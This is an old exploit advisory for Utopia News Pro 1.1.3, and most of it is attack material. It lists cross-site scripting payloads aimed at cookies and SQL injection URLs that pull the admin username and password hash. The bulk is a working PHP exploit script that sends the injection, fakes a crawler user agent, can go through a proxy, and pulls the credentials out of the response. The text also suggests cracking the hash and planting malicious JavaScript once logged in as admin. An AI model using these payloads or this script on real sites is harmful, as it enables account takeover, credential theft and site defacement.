2.56 07/10/2005 Utopia News Pro 1.1.3 SQL Injection / cross site scripting software: site: http://www.utopiasoftware.net a)xss: http://[target]/[path]/header.php?sitetitle=</title><script>alert(document.cookie)</script><!-- http://[target]/[path]/footer.php?version=<script>alert(document.cookie)</script> http://[target]/[path]/footer.php?query_count=<script>alert(document.cookie)</script> b)if magic quotes off ->SQL INJECTION: you can retrieve admin username and password (it is the same user & password of mysql database [!], very insecure, don't you think?), poc: http://[target]/[path]/news.php?action=printable&newsid=%27%20UNION%20SELECT%20null,'20051007',username,password,null,email,null%20FROM%20unp_user%20WHERE%20userid=1/* some versions prior from 1.1.3 (different number of columns...): http://[target]/[path]/news.php?action=printable&newsid=%27%20UNION%20SELECT%20null,'20051007',username,password,null,email%20FROM%20unp_user%20WHERE%20userid=1/* now you have the md5 password hash, force it, after you login as admin you can edit template and leave some evil javascript, you can post/edit/delete news, add/edit/delete users, etc. this is the tool, for lazy people: <?php # 3.10 07/10/2005 # # utopia_xpl.php # # # # Utopia News Pro 1.1.3 (possibly prior versions) SQL Injection / # # Administrative credentials disclosure # # by rgod # # site: http://rgod.altervista.org # # # # make these changes in php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: launch this script from Apache, fill requested fields, then # # ... grab admin MD5 passowrd hash right now # # # # Sun-Tzu: "All warfare is based on deception" # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<head><title> Utopia News Pro 1.1.3 SQL Injection </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type= "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6"> Utopia News Pro 1.1.3 SQL Injection</p> <p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"; target="_blank">http://rgod.altervista.org </a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value"> <p> <input type="text" name="host"><span class="Stile5">hostname (ex: www.sitename.c om) </span></p><p><input type="text" name="path"><span class="Stile5"> path (ex: /utopia/ or just /) </span></p><p><input type="text" name="port" > <span class="Stile5">specify a port other than 80 (default value) </span></p><p><input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span></p> <p> <input type="submit"name="Submit" value="go!"> </p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'')) { if ($port=='') {$port=80;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $sql="-1' UNION SELECT null,'20051007',username,password,null,email,null FROM unp_user WHERE userid=1 /*"; #switch to this for some versions prior from 1.1.3 (different number of columns...) #$sql="-1' UNION SELECT null,'20051007',username,password,null,email FROM unp_user WHERE userid=1 /*"; $sql=urlencode($sql); $packet="GET ".$p."news.php?action=printable&newsid=".$sql." HTTP/1.0 \r\n"; $packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n"; $packet.="Accept: */*\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host.":".$port."\r\n\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); # you can see hash inside html, but if version is the one I tested we can try to find it now... $temp=explode("<!-- PrintNews.Bit -->",$html); $temp2=explode("<strong>",$temp[1]); $temp3=explode("</strong>",$temp2[1]); $username=$temp3[0]; echo '<br><br> username: '.htmlentities($username).'<br>'; $temp=explode("Posted by ",$html); $temp2=explode("on",$temp[1]); $email=trim($temp2[0]); echo 'email: '.htmlentities($email).'<br>'; $temp=explode("<!-- PrintNews.Bit -->",$html); $temp2=explode("<td>",$temp[1]); $temp3=explode("</td>",$temp2[1]); $hash=trim($temp3[0]); echo 'hash: '.htmlentities($hash).'<br>'; } else {echo '<br>Fill requested fields, optionally specify a proxy...<br>';} ?> rgod email: rgod at aliceposta.it site: http://rgod.altervista.org original advisory: http://rgod.altervista.org/utopia113.html
